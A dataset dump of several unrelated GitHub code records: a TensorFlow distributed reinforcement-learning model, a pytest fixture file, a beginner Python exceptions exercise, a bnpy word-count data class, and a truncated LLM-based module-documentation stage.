\"reward\"]\n\n    @property\n    def train_ops(self):\n        return [self.summary_op, self.global_step]\n    \n    @property\n    def train_args(self):\n        args = [\n            self.exp[\"state\"], self.exp[\"action\"],\n            self.exp[\"reward\"]\n        ]\n        if self.sequence_length is not None:\n            args.append(self.sequence_length)\n        return args\n\n\nclass DistributedModel(object):\n\n    def __init__(self, worker_wrapper, env_wrapper, network_wrapper,\n                 checkpoint_dir, save_checkpoint_interval, max_iterations, device,\n                 log_dir=None, debug=\"chief\", max_samples=None,\n                 use_evaluator=True, seed=None):\n        tf.logging.set_verbosity(tf.logging.ERROR)\n        os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n        self.worker_wrapper = worker_wrapper\n        self.env_wrapper = env_wrapper\n        self.network_wrapper = network_wrapper\n\n        self.log_dir = log_dir\n        self.debug = debug\n        self.checkpoint_dir = checkpoint_dir\n        self.save_checkpoint_interval = save_checkpoint_interval\n        self.max_iterations = max_iterations\n        self.max_samples = max_samples\n        self.device = device.split(\";\")\n\n        self.use_evaluator = use_evaluator\n        self.seed = seed\n\n    def start(self, distributions=None):\n        if distributions is None:\n            self.test()\n        else:\n            self.train(distributions)\n    \n    def test(self):\n        worker = self.worker_wrapper(_job_name=\"evaluator\", _task_id=0, _is_chief=False, _is_evaluator=1,\n                                     _env_wrapper=self.env_wrapper, _network_wrapper=self.network_wrapper,\n                                     _seed=self.seed,\n                                     render=True)\n        worker.init()\n        while True:\n            with tf.train.SingularMonitoredSession(checkpoint_dir=self.checkpoint_dir) as sess:\n                worker.work(sess)\n    \n    def evaluate(self, n=10, evaluation_cond=lambda : True):\n        from tensorflow.python import pywrap_tensorflow\n\n        tf.logging.set_verbosity(tf.logging.ERROR)\n        os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n        worker = self.worker_wrapper(_job_name=\"evaluator\", _task_id=0, _is_chief=False, _is_evaluator=n,\n                                     _env_wrapper=self.env_wrapper, _network_wrapper=self.network_wrapper,\n                                     _seed=self.seed, _log_dir=self.log_dir, _max_samples=self.max_samples,\n                                     render=False)\n        worker.init()\n        rng = np.random.RandomState(self.seed)\n        class Evaluator(tf.train.SessionRunHook):\n            def __init__(self, checkpoint_dir):\n                self.lastest_checkpoint = None\n                self.saver = tf.train.Saver()\n                self.checkpoint_dir = checkpoint_dir\n\n            def after_create_session(self, session, coord):\n                self.sess = session\n\n            def before_run(self, run_context):\n                if self.lastest_checkpoint is None or (worker.evaluator_counter == 0 and worker.episode_step == 0):\n                    if self.lastest_checkpoint is not None and worker.logger:\n                        worker.logger.add_summary(worker.summary, worker.global_step)\n                        worker.logger.flush()\n\n                    checkpoint = None\n                    while checkpoint is None and evaluation_cond():\n                        time.sleep(30)\n                        checkpoint = tf.train.latest_checkpoint(self.checkpoint_dir)\n                    while self.lastest_checkpoint == checkpoint and evaluation_cond():\n                        time.sleep(30)\n                        checkpoint = tf.train.latest_checkpoint(self.checkpoint_dir)\n\n                    if checkpoint is None or self.lastest_checkpoint == checkpoint:\n                        worker.request_stop = True\n                        # worker.after_episode = lambda *args, **kwargs: run_context.request_stop()\n                        # run_context.request_stop()\n                    else:\n                        self.saver.restore(self.sess, checkpoint)\n                        self.lastest_checkpoint = checkpoint\n                        worker.global_step = int(self.lastest_checkpoint.split('-')[-1])\n                        reader = pywrap_tensorflow.NewCheckpointReader(self.lastest_checkpoint)\n                        worker.total_samples = reader.get_tensor(worker.GLOBAL_NET_NAME+\"/samples/samples\")\n                        worker.set_env_seed(rng.randint(1))\n\n        h = Evaluator(self.checkpoint_dir)\n        config = self.build_tf_sess_config()\n        with tf.train.SingularMonitoredSession(hooks=[h], config=config) as sess:\n            sess.run_step_fn = None\n            worker.work(sess)\n\n    @staticmethod\n    def build_tf_sess_config(**kwargs):\n        return tf.ConfigProto(\n                #inter_op_parallelism_threads=1,\n                #intra_op_parallelism_threads=1,\n                # log_device_placement=True,\n                **kwargs,\n                allow_soft_placement=True,\n                gpu_options=tf.GPUOptions(allow_growth=True)\n            )\n    \n    def train(self, distributions):\n        n_workers = sum([len(v) for _, v in distributions.items()])\n        if len(self.device) == 1:\n            self.device = self.device*n_workers\n        workers = []\n        for job, d in distributions.items():\n            for task_id in range(len(d)):\n                workers.append(multiprocessing.Process(\n                    target=self.dispatch,\n                    args=(distributions, job, task_id, self.device)\n                ))\n        for w in workers: w.start()\n        print(\"==== Process ID List ===\")\n        for w in workers:\n            print(w.pid)\n        print(\"========================\")\n\n        try:\n            if self.use_evaluator:\n                self.evaluate(evaluation_cond=lambda : all(w.is_alive() for w in workers))\n                print(\"evaluator work is done\")\n                for w in workers:\n                    print(w.pid, w.is_alive())\n            else:\n                for w in workers: w.join()\n        except KeyboardInterrupt:\n            pass\n        finally:\n            print(\"closing worker threads...\")\n            for w in workers:\n                try:\n                    print(\"finishing \", w.pid)\n                    w.terminate()\n                    w.join()\n                except:\n                    pass\n        print(\"training is done\")\n    \n\n    def dispatch(self, distributions, job_name, task_id, device):\n        print(\"[SYSTEM] {} {} with PID {} started.\".format(job_name, task_id, os.getpid()))\n        tf.logging.set_verbosity(tf.logging.ERROR)\n        os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n        config = self.build_tf_sess_config()\n        cluster = tf.train.ClusterSpec(distributions)\n        server = tf.train.Server(cluster, job_name=job_name, task_index=task_id, config=config)\n        if job_name == \"ps\":\n            with tf.device(\"/job:ps/task:{}\".format(task_id)):\n                queue = tf.FIFOQueue(1, tf.int32, shared_name=\"done_queue{}\".format(task_id))\n            with tf.Session(server.target) as sess:\n                for _ in range(cluster.num_tasks(\"worker\")):\n                    sess.run(queue.dequeue())\n            print(\"PS {} {} work is done.\".format(task_id, os.getpid()))\n        else:\n            # Important!\n            # By default, numpy shares the same random state among different sub-processing\n            if self.seed is None: \n                seed = int.from_bytes(os.urandom(4), byteorder=\"big\")\n            else:\n                seed = self.seed+task_id+1\n\n            target_device = self.target_device(job_name, task_id, device)\n            # if \":\" in target_device and target_device.split(\":\")[-2][-3:].lower() == \"gpu\":\n            #     os.environ[\"CUDA_VISIBLE_DEVICES\"] = target_device.split(\":\")[-1]\n            #     target_device = \"device:gpu:0\"\n            # else:\n            #     os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"\"\n\n            done_queues = []\n            if \"ps\" in distributions:\n                for i in range(cluster.num_tasks(\"ps\")):\n                    with tf.device(\"/job:ps/task:{}\".format(i)):\n                        done_queues.append(tf.FIFOQueue(1, tf.int32, shared_name=\"done_queue{}\".format(i)).enqueue(1))\n\n            is_chief = (task_id == 0)\n            n_workers = cluster.num_tasks(job_name)\n            worker = self.worker_wrapper(_job_name=job_name, _task_id=task_id, _is_chief=is_chief, _is_evaluator=False,\n                                         _env_wrapper=self.env_wrapper, _network_wrapper=self.network_wrapper, _seed=seed,\n                                         _log_dir=None if not self.debug or (self.debug != \"all\" and not is_chief) else self.log_dir,\n                                         _max_samples=self.max_samples,\n                                         **self.worker_wrapper_kwargs(job_name, task_id, is_chief, cluster),\n                                         render=False)\n            with tf.device(tf.train.replica_device_setter(cluster=cluster,\n                worker_device=\"/job:worker/task:{}/{}\".format(task_id, target_device)\n            )):\n                worker.init()\n            \n            if is_chief:\n                for i in range(n_workers):\n                    with tf.device(\"/job:worker/task:{}/{}\".format(i, target_device if i == task_id else self.target_device(job_name, i, device))):\n                        worker_name = build_worker_name(job_name, i)\n                        worker.build_local_net(worker_name)\n            else:\n                with tf.device(\"/job:worker/task:{}/{}\".format(task_id, target_device)):\n                    worker.build_local_net(worker.name)\n\n            chief_hooks = []\n            hooks = worker.hooks + [tf.train.StopAtStepHook(last_step=self.max_iterations)]\n            \n            saver = tf.train.Saver(max_to_keep=1)\n            class EndNotificationHook(tf.train.SessionRunHook):\n                def end(self, sess):\n                    print(\"end notifier from \", worker.name)\n                    worker.stop()\n                    sess.run(done_queues)\n            hooks.append(EndNotificationHook())\n            scaffold = tf.train.Scaffold(saver=saver)\n            with tf.train.MonitoredTrainingSession(server.target, is_chief, self.checkpoint_dir,\n                                                   config=config, hooks=hooks, chief_only_hooks=chief_hooks,\n                                                   save_checkpoint_steps=self.save_checkpoint_interval,\n                                                   log_step_count_steps=5000, scaffold=scaffold, max_wait_secs=60) as sess:\n                try:\n                    worker.work(sess)\n                except KeyboardInterrupt:\n                    worker.stop()\n                    sess.run(done_queues)\n            print(\"{} {} work is done.\".format(worker.name, os.getpid()))\n\n    def worker_wrapper_kwargs(self, job_name, task_id, is_chief, cluster):\n        return {} \n    \n    def target_device(self, job_name, task_id, device):\n        if job_name == \"ps\": return None\n        tar = device[0] if len(device) == 1 else device[task_id]\n        tar = tar.upper()\n        if tar.startswith(\"GPU\"):\n            return \"device:GPU:{}\".format(tar[(4 if tar[3]==\":\" else 3):])\n        else:\n            assert(tar.startswith(\"GPU\") or tar == \"CPU\" or tar == \"CPU:0\")\n            return \"cpu:0\"\n","repo_name":"xupei0610/PFPN","sub_path":"models/distributed_model.py","file_name":"distributed_model.py","file_ext":"py","file_size_in_byte":27772,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"16"}
+{"seq_id":"34192334645","text":"import glob\nimport os.path\nimport shutil\n\nimport pytest\n\nfrom app.main import init\n\n\n@pytest.fixture(name=\"file_prefix\", scope=\"module\")\ndef get_file_prefix():\n    return \"../\"\n\n\n@pytest.fixture(name=\"csv_gen\", scope=\"module\")\ndef get_csv_cases(file_prefix):\n    files = glob.glob(os.path.join(file_prefix, 'tests/csv/*.csv'))\n\n    for name in files:\n        shutil.copy(name, os.path.abspath(os.path.join(file_prefix, 'csv/')))\n\n    yield glob.glob(os.path.join(file_prefix, 'csv/*.csv'))\n\n    for name in files:\n        idx = file_prefix.count(os.path.sep) + 1\n        name = os.path.sep.join(name.split(os.path.sep)[idx:])\n        os.remove(os.path.join(file_prefix, name))\n\n\n@pytest.fixture(name=\"app\", scope=\"module\")\ndef get_app():\n    app = init()\n    yield app\n","repo_name":"vpplatonov/data_stream_processor","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34343144014","text":"def nacti_cislo():\n    odpoved = int(input(\"Zadej cislo:\"))\n\n    try:\n        cislo = int(odpoved)\n    except ValueError:\n        print(\"To neni cislo\")\n    else:\n        print(\"vyjimka nenastala\")\n    finally:\n        print(\"tohle je kod, ktery se spusti, at je nebo neni chyba\")\nnacti_cislo()\n","repo_name":"hanakysela/pyladies","sub_path":"vyjimky.py","file_name":"vyjimky.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20612719584","text":"'''\nWordsData.py\n\nData object that represents word counts across a collection of documents.\n\nTerminology\n-------\n* Vocab : The finite collection of possible words.  \n    {apple, berry, cardamom, fruit, pear, walnut}\n  We assume this set has a fixed ordering, so each word is associated \n  with a particular integer in the set 0, 1, ... vocab_size-1\n     0: apple        3: fruit\n     1: berry        4: pear\n     2: cardamom     5: walnut\n* Document : a collection of words, observed together from the same source\n  For example: \n      \"apple, berry, berry, pear, pear, pear, walnut\"\n\n* nDoc : number of documents in the current, in-memory dataset\n* nDocTotal : total number of docs, in entire dataset (for online applications)\n'''\n\nfrom .AdmixMinibatchIterator import AdmixMinibatchIterator\nfrom .DataObj import DataObj\nimport numpy as np\nimport scipy.sparse\nfrom ..util import RandUtil\n\nclass WordsData(DataObj):\n\n  ######################################################### Constructor\n  #########################################################\n  def __init__(self, word_id=None, word_count=None, doc_range=None,\n             vocab_size=0, vocab_dict=None, \n             nDocTotal=None, TrueParams=None, **kwargs):\n    ''' Constructor for WordsData object\n\n        Args\n        -------\n        word_id : nDistinctWords-length vector \n                  entry i gives VocabWordID for distinct word i in corpus\n        word_count : nDistinctWords-length vector\n                  entry i gives count for word_id[i] in that document\n        doc_range : nDoc x 2 matrix\n                  doc_range[d,:] gives (start,stop) for document d\n                  where start/stop index rows in word_id,word_count\n        vocab_size : integer size of set of possible vocabulary words\n        vocab_dict : dict mapping integer vocab ids to strings\n        nDocTotal : int total size of the corpus \n                    (in case this obj represents a minibatch)\n        TrueParams : None [default], or dict of attributes\n    '''\n    self.word_id = np.asarray(np.squeeze(word_id), dtype=np.uint32)\n    self.word_count = np.asarray(np.squeeze(word_count), dtype=np.float64)\n    self.doc_range = np.asarray(doc_range, dtype=np.uint32)\n    self.vocab_size = int(vocab_size)\n  \n    self._set_corpus_size_attributes(nDocTotal)\n    self._verify_attributes()\n  \n    # Save \"true\" parameters that generated toy-data, if provided\n    if TrueParams is not None:\n      self.TrueParams = TrueParams\n\n    # Add dictionary of vocab words, if provided\n    if vocab_dict is not None:\n      self.vocab_dict = vocab_dict\n\n  def _set_corpus_size_attributes(self, nDocTotal=None):\n    ''' Sets nDoc, nObs, and nDocTotal attributes of this WordsData object\n\n        Args\n        -------\n        nDocTotal : int size of total corpus \n                    if None, nDocTotal is set equal to nDoc\n    '''\n    self.nDoc = self.doc_range.shape[0]\n    self.nObs = len(self.word_id)\n    if nDocTotal is None:\n      self.nDocTotal = self.nDoc\n    else:\n      self.nDocTotal = int(nDocTotal)\n\n  def _verify_attributes(self):\n    ''' Basic runtime checks to make sure dimensions are set correctly\n         for attributes word_id, word_count, doc_range, etc.\n    '''\n    assert self.vocab_size > 0\n    assert self.word_id.ndim == 1\n    assert self.word_id.min() >= 0\n    assert self.word_id.max() < self.vocab_size\n    assert self.word_count.ndim == 1\n    assert self.word_count.min() > 0\n    assert self.nDoc == self.doc_range.shape[0]\n    assert self.nObs == len(self.word_id)\n    assert self.doc_range.shape[1] == 2\n    assert np.all( self.doc_range[:-1,1] == self.doc_range[1:,0])\n\n\n  ######################################################### Sparse matrix\n  #########################################################  representations\n  def to_sparse_matrix(self, doBinary=False):\n    ''' Make sparse matrix counting vocab usage across all words in dataset\n\n        Returns\n        --------\n        C : sparse (CSC-format) matrix, size nObs x vocab_size\n             C[n,v] = word_count[n] iff word_id[n] = v\n                      0 otherwise\n             That is, each word token n is represented by one entire row\n                      with only one non-zero entry: at column word_id[n]\n\n    '''\n    if hasattr(self, \"__sparseMat__\") and not doBinary:\n      return self.__sparseMat__\n    if hasattr(self, '__sparseBinMat__') and doBinary:\n      return self.__sparseBinMat__\n\n    indptr = np.arange(self.nObs+1) # define buckets for one entry per row\n    if doBinary:\n      self.__sparseBinMat__ = scipy.sparse.csc_matrix(\n                        (np.ones(self.nObs), np.int64(self.word_id), indptr),\n                        shape=(self.vocab_size, self.nObs))\n      return self.__sparseBinMat__\n\n    else:\n      self.__sparseMat__ = scipy.sparse.csc_matrix(\n                        (self.word_count, np.int64(self.word_id), indptr),\n                        shape=(self.vocab_size, self.nObs))\n      return self.__sparseMat__\n  \n  def to_sparse_docword_matrix(self, weights=None, thr=None, **kwargs):\n    ''' Make sparse matrix counting vocab usage for each document in dataset\n        Used for efficient initialization of global parameters.\n\n        Returns\n        -------\n        C : sparse (CSR-format) matrix, of shape nDoc-x-vocab_size, where\n            C[d,v] = total count of vocab word v in document d\n    '''\n    if hasattr(self, \"__sparseDocWordMat__\") and weights is None:\n      return self.__sparseDocWordMat__\n    row_ind = list()\n    col_ind = list()\n    doc_range = self.doc_range\n    word_count = self.word_count\n    for d in xrange(self.nDoc):\n      numDistinct = doc_range[d,1] - doc_range[d,0]\n      doc_ind_temp = [d]*numDistinct\n      row_ind.extend(doc_ind_temp)\n      col_ind.extend(self.word_id[doc_range[d,0]:doc_range[d,1]])\n    if weights is None:\n      weights = self.word_count\n    else:\n      if thr is not None:\n        mask = np.flatnonzero(weights > thr)\n        weights = weights[mask] * self.word_count[mask]\n        row_ind = np.asarray(row_ind)[mask]\n        col_ind = np.asarray(col_ind)[mask]\n      else:\n        weights = weights * self.word_count\n    sparseDocWordmat = scipy.sparse.csr_matrix(\n                               (weights, (row_ind,col_ind)),\n                               shape=(self.nDoc, self.vocab_size), \n                               dtype=np.float64)\n    if weights is None:\n      self.__sparseDocWordMat__ = sparseDocWordmat\n    return sparseDocWordmat\n\n  def get_nObs2nDoc_mat(self):\n    ''' Returns nDoc x nObs sparse matrix\n    '''\n    data = np.ones(self.nObs)\n    # row_ind will look like 0000, 111, 22, 33333, 444, 55\n    col_ind = np.arange(self.nObs)\n\n    indptr = np.hstack([Data.doc_range[0,0], Data.doc_range[:,1]])\n    return scipy.sparse.csr_matrix( (data, (row_ind, col_ind)),\n                                    shape=(self.nDoc, self.nObs),\n                                    dtype=np.float64)\n\n  ######################################################### DataObj interface\n  #########################################################  methods\n  def to_minibatch_iterator(self, **kwargs):\n    ''' Return AdmixMinibatchIterator for this WordsData object,\n          so we can traverse subsets of this document collection.\n        Args\n        -------\n          see AdmixMinibatchIterator\n    '''\n    return AdmixMinibatchIterator(self, **kwargs)\n   \n  def add_data(self, WData):\n    ''' Append provided WordsData to the end of this dataset\n    '''\n    assert self.vocab_size == WData.vocab_size\n    self.word_id = np.hstack([self.word_id, WData.word_id])\n    self.word_count = np.hstack([self.word_count, WData.word_count])\n    startLoc = self.doc_range[-1,1]\n    self.doc_range = np.vstack([self.doc_range, startLoc + WData.doc_range])\n    self.nDoc += WData.nDoc\n    self.nObs += WData.nObs\n    self.nDocTotal += WData.nDocTotal\n    self._verify_attributes()\n\n  def get_random_sample(self, nDoc, randstate=np.random, candidates=None):\n    ''' Create WordsData object for random subsample of this dataset\n\n        Args\n        -----\n        nDoc : number of documents to choose\n        randstate : numpy random number generator\n\n        Returns\n        -------\n        WordsData : bnpy WordsData instance, with at most nDoc documents\n    '''\n    if candidates is None:\n      docMask = randstate.permutation(self.nDoc)[:nDoc]\n    else:\n      docMask = randstate.permutation(candidates)[:nDoc]\n    return self.select_subset_by_mask(docMask=docMask,\n                                                doTrackFullSize=False)\n\n  def select_subset_by_mask(self, docMask=None, wordMask=None,\n                                doTrackFullSize=True):\n    ''' Returns WordsData object representing a subset of this object,\n  \n        Args\n        -------\n        docMask : None, or list of document ids to select\n        wordMask : None, or list of words to select\n                 each entry is an index into self.word_id\n\n        doTrackFullSize : boolean indicator for whether output dataset\n                           should retain nDocTotal size of this object,\n                        or should be self-contained (nDoc=nDocTotal) \n\n        Returns\n        --------\n        WordsData object, where\n            nDoc = number of documents in the subset (=len(mask))\n            nObs = nDistinctWords in the subset of docs\n            nDocTotal defines size of entire dataset (not subset)\n    '''\n    if docMask is None and wordMask is None:\n      raise ValueError(\"Must provide either docMask or wordMask\")\n\n    if docMask is not None:\n      nDoc = len(docMask)\n      nObs = np.sum(self.doc_range[docMask,1] - self.doc_range[docMask,0])\n      word_id = np.zeros(nObs)\n      word_count = np.zeros(nObs)\n      doc_range = np.zeros((nDoc,2))\n  \n      # Fill in new word_id, word_count, and doc_range\n      startLoc = 0\n      for d in xrange(nDoc):\n        start,stop = self.doc_range[docMask[d],:]\n        endLoc = startLoc + (stop - start)\n        word_count[startLoc:endLoc] = self.word_count[start:stop]\n        word_id[startLoc:endLoc] = self.word_id[start:stop]\n        doc_range[d,:] = [startLoc,endLoc]\n        startLoc += (stop - start)\n\n    elif wordMask is not None:\n      wordMask = np.sort(wordMask)\n      nObs = len(wordMask)\n      docIDs = self.getDocIDs(wordMask)\n      uDocIDs = np.unique(docIDs)\n      nDoc = uDocIDs.size\n      doc_range = np.zeros((nDoc,2))\n\n      # Fill in new word_id, word_count, and doc_range\n      word_id =  self.word_id[wordMask]\n      word_count = self.word_count[wordMask]\n      startLoc = 0\n      for dd in range(nDoc):\n        nWordsInCurDoc = np.sum(uDocIDs[dd] == docIDs)\n        doc_range[dd,:] = startLoc, startLoc + nWordsInCurDoc\n        startLoc += nWordsInCurDoc           \n\n    nDocTotal=None\n    if doTrackFullSize:\n      nDocTotal = self.nDocTotal\n    return WordsData(word_id, word_count, doc_range, self.vocab_size,\n                     nDocTotal=nDocTotal)\n\n  def getDocIDs(self, wordLocs=None):\n    ''' Retrieve document ids for all word tokens, \n        or for a particular subset (if specified)\n\n        Args\n        -------\n        wordLocs : None or ndarray of integer locations in range (0, self.nObs)\n  \n        Returns\n        -------\n        docIDs : 1-dim ndarray of integer document ids in range (0, nDoc)\n    '''\n    # Retrieve for entire dataset\n    if wordLocs is None:\n      if hasattr(self, \"__docid__\"):\n        return self.__docid__\n      self.__docid__ = np.zeros(self.word_id.size, dtype=np.uint32)\n      for dd in range(self.nDoc):\n        self.__docid__[self.doc_range[dd,0]:self.doc_range[dd,1]] = dd\n      return self.__docid__\n\n    # Retrieve for specified subset\n    docIDs = np.zeros(len(wordLocs))\n    for dd in range(self.nDoc):\n      if dd == 0:\n        matchMask = wordLocs < self.doc_range[dd,1] \n      else:\n        matchMask = np.logical_and(wordLocs < self.doc_range[dd,1],\n                                 wordLocs >= self.doc_range[dd-1,1])\n      docIDs[matchMask] = dd\n    return docIDs     \n\n  ######################################################### Text summary\n  ######################################################### \n  def get_text_summary(self, doCommon=True):\n    ''' Returns human-readable summary of this object\n    '''\n    if hasattr(self, 'summary') and doCommon:\n      s = self.summary\n    elif doCommon:\n      s = \" nDoc %d, vocab_size %d\\n\" % (self.nDoc, self.vocab_size)\n    else:\n      s = ''\n    return s + self.get_doc_stats_summary()\n\n  def get_doc_stats_summary(self, pRange=[0,5, 50, 95, 100]):\n    ''' Returns human-readable string summarizing word-count statistics\n          e.g. word counts for the smallest, largest, and median-length doc\n    '''\n    nDistinctWordsPerDoc = np.zeros(self.nDoc)\n    nTotalWordsPerDoc = np.zeros(self.nDoc)\n    for d in range(self.nDoc):\n      drange = self.doc_range[d,:]\n      nDistinctWordsPerDoc[d] = drange[1] - drange[0]\n      nTotalWordsPerDoc[d] = self.word_count[drange[0]:drange[1]].sum()\n    assert np.sum(nDistinctWordsPerDoc) == self.word_id.size\n    assert np.sum(nTotalWordsPerDoc) == np.sum(self.word_count)\n    s = ''\n    for p in pRange:\n      if p == 0:\n        sp = 'min'\n      elif p == 100:\n        sp = 'max'\n      else:\n        sp = \"%d%%\" % (p)\n      s += \"%5s \" % (sp)\n    s += '\\n'\n    for p in pRange:\n      s += \"%5s \" % (\"%.0f\" % (np.percentile(nDistinctWordsPerDoc, p)))    \n    s += ' nDistinctWordsPerDoc\\n'\n    for p in pRange:\n      s += \"%5s \" % (\"%.0f\" % (np.percentile(nTotalWordsPerDoc, p)))    \n    s += ' nTotalWordsPerDoc'\n    return s\n\n  ######################################################### Create from MAT\n  #########################################################  (class method)\n  @classmethod\n  def read_from_mat(cls, matfilepath, **kwargs):\n    ''' Creates an instance of WordsData from Matlab matfile\n    '''\n    import scipy.io\n    InDict = scipy.io.loadmat(matfilepath, **kwargs)\n    return cls(**InDict)\n\n  ######################################################### Create from DB\n  #########################################################  (class method)\n  @classmethod\n  def read_from_db(cls, dbpath, sqlquery, vocab_size=None, nDocTotal=None):\n    ''' Creates an instance of WordsData from an SQL database\n    '''\n    import sqlite3\n    # Connect to sqlite database and retrieve results as doc_data\n    conn = sqlite3.connect(dbpath)\n    conn.text_factory = str\n    result = conn.execute(sqlquery)\n    doc_data = result.fetchall()\n    conn.close()\n  \n    # Repackage the doc_data into word_id, word_count attributes\n    word_id = list()\n    word_count = list()\n    nDoc = len(doc_data)\n    doc_range = np.zeros((nDoc,2), dtype=np.uint32)\n    ii = 0\n    for d in xrange( nDoc ):\n      # make sure we subtract 1 for word_ids since python indexes by 0\n      temp_word_id = [(int(n)-1) for n in doc_data[d][1].split()]\n      temp_word_count = [int(n) for n in doc_data[d][2].split()]\n      word_id.extend(temp_word_id)\n      word_count.extend(temp_word_count)\n      nUniqueWords = len(temp_word_id)\n      doc_range[d,:] = [ii, ii + nUniqueWords]\n      ii += nUniqueWords\n    return cls(word_id=word_id, word_count=word_count,\n               doc_range=doc_range, vocab_size=vocab_size, nDocTotal=nDocTotal)\n\n  ######################################################### Create Toy Data\n  #########################################################  (class method)\n  @classmethod\n  def CreateToyDataSimple(cls, nDoc=10, nWordsPerDoc=10, \n                        vocab_size=12, **kwargs):\n    ''' Creates a simple toy instance of WordsData (good for debugging)\n        Args\n        --------\n        nDoc : int num of documents to create\n        nWordsPerDoc : int num of distinct words in each document\n        vocab_size : int size of vocabulary\n    '''\n    PRNG = np.random.RandomState(0)\n    word_id = list()\n    word_count = list()\n    doc_range = np.zeros((nDoc, 2))\n    for dd in range(nDoc):\n        wID = PRNG.choice(vocab_size, size=nWordsPerDoc, replace=False)\n        wCount = PRNG.choice(np.arange(1,5), size=nWordsPerDoc, replace=True)\n        word_id.extend(wID)\n        word_count.extend(wCount)\n        start = nWordsPerDoc * dd\n        doc_range[dd,:] = [start, start + nWordsPerDoc]\n    return cls(word_id=word_id, word_count=word_count, \n              doc_range=doc_range, vocab_size=vocab_size)\n\n  @classmethod\n  def CreateToyDataFromLDAModel(cls, seed=101, \n                nDocTotal=None, nWordsPerDoc=None, \n                topic_prior=None, topics=None,\n                **kwargs):\n    ''' Generates WordsData dataset via LDA generative model,\n          given specific global parameters\n\n        Args\n        --------\n        topic_prior : K-length vector of positive reals,\n                      \\pi_d \\sim \\Dir( topic_prior )\n        topics : KxV matrix of positive reals, where rows sum to one\n                  topics[k,v] := probability of vocab word v in topic k\n    '''\n    PRNG = np.random.RandomState(seed)\n\n    K = topics.shape[0]\n    V = topics.shape[1]\n    # Make sure topics sum to one\n    topics = topics / topics.sum(axis=1)[:,np.newaxis]\n    assert K == topic_prior.size\n  \n    doc_range = np.zeros((nDocTotal, 2))\n    wordIDsPerDoc = list()\n    wordCountsPerDoc = list()\n\n    alphaLP = np.zeros((nDocTotal,K))\n    respPerDoc = list()\n\n    # startPos : tracks start index for current doc within corpus-wide lists\n    startPos = 0\n    for d in xrange(nDocTotal):\n      # Draw topic appearance probabilities for this document\n      alphaLP[d,:] = PRNG.dirichlet(topic_prior)\n\n      # Draw the topic assignments for this doc\n      ## Npercomp : K-vector, Npercomp[k] counts appearance of topic k\n      Npercomp = RandUtil.multinomial(nWordsPerDoc, alphaLP[d,:], PRNG)\n\n      # Draw the observed words for this doc\n      ## wordCountBins: V x 1 vector, entry v counts appearance of word v\n      wordCountBins = np.zeros(V)\n      for k in xrange(K):\n        wordCountBins += RandUtil.multinomial(Npercomp[k], \n                                      topics[k,:], PRNG)\n\n      # Record word_id, word_count, doc_range\n      wIDs = np.flatnonzero(wordCountBins > 0)\n      wCounts = wordCountBins[wIDs]\n      assert np.allclose( wCounts.sum(), nWordsPerDoc)\n      wordIDsPerDoc.append(wIDs)\n      wordCountsPerDoc.append(wCounts)\n      doc_range[d,0] = startPos\n      doc_range[d,1] = startPos + wIDs.size  \n      startPos += wIDs.size\n  \n      # Record expected local parameters (LP)\n      curResp = (topics[:, wIDs] * alphaLP[d,:][:,np.newaxis]).T      \n      respPerDoc.append(curResp)\n\n    word_id = np.hstack(wordIDsPerDoc)\n    word_count = np.hstack(wordCountsPerDoc)\n\n    respLP = np.vstack(respPerDoc)\n    respLP /= respLP.sum(axis=1)[:,np.newaxis]\n\n    TrueParams = dict(K=K, topics=topics, beta=topic_prior,\n                      word_variational=respLP, alphaPi=alphaLP)\n    return WordsData(word_id, word_count, doc_range, V,\n                    nDocTotal=nDocTotal, TrueParams=TrueParams)\n\n\n  ######################################################### Write to file\n  #########################################################  (instance method)\n  def WriteToFile_ldac(self, filepath, min_word_index=0):\n    ''' Write contents of this dataset to plain-text file in \"ldac\" format.\n        \n        Args\n\n        Returns\n        -------\n        None. Writes to file instead.\n\n        Each line of file represents one document, and has format\n        [U] [term1:count1] [term2:count2] ... [termU:countU]\n    '''\n    word_id = self.word_id\n    if min_word_index > 0:\n      word_id = word_id + min_word_index\n    with open(filepath, 'w') as f:\n      for d in xrange(self.nDoc):\n        dstart = self.doc_range[d,0]\n        dstop = self.doc_range[d,1]\n        nUniqueInDoc = dstop - dstart\n        idct_list = [\"%d:%d\" % (word_id[n], self.word_count[n]) \\\n                              for n in xrange(dstart, dstop)]\n        docstr = \"%d %s\" % (nUniqueInDoc, ' '.join(idct_list)) \n        f.write(docstr + '\\n')\n","repo_name":"daeilkim/refinery","sub_path":"refinery/bnpy/bnpy-dev/bnpy/data/WordsData.py","file_name":"WordsData.py","file_ext":"py","file_size_in_byte":19975,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"16"}
+{"seq_id":"74033362569","text":"from vernac.openai import complete_chat\nfrom vernac.util import (\n    normalize_progress,\n    replace_ext,\n)\nfrom vernac.stages.interface import (\n    VernacStage,\n    StageContext,\n    StageAction,\n    StageOutput,\n)\n\nSYSTEM_PROMPT = \"\"\"\nYou are an expert programmer working on contract. The user, your client, will provide the description and source code of an existing module. Respond with clear documentation of the module interface. Your documentation should be structed as two Markdown sections, as follows:\n\n## Module interface\n\n<specific method signatures, classes, and other details necessary to use the module. be concise.>\n\n## Module notes\n\n<key concepts for using the module effectively. copy any important text from the description. do not duplicate information provided in the interface section above.>\n\"\"\"\n\nUSER_PROMPT_TEMPLATE = \"\"\"\nFilename: `{py_name}`\n\n{description}\n\n# Module source\n        \n{source}\n\"\"\"\n\nclass DocumentModuleStage(VernacStage):\n    steps = 100\n\n    def __init__(self, title: str):\n        self.title = title\n\n    def run(\n            self,\n            context: StageContext,\n            english: str,\n            python: str,\n            vn_name: str,\n        ) -> StageOutput:\n        py_name = replace_ext(vn_name, \"py\").replace(\"-\", \"_\")\n\n        user_prompt = USER_PROMPT_TEMPLATE.format(\n            py_name=py_name,\n            description=english,\n            source=python,\n        )\n\n        chat_messages = [\n            {\"role\": \"system\", \"content\": SYSTEM_PROMPT},\n            {\"role\": \"user\", \"content\": user_prompt},\n        ]\n\n        context.log_json(\"prompt.json\", chat_messages)\n\n        # run the 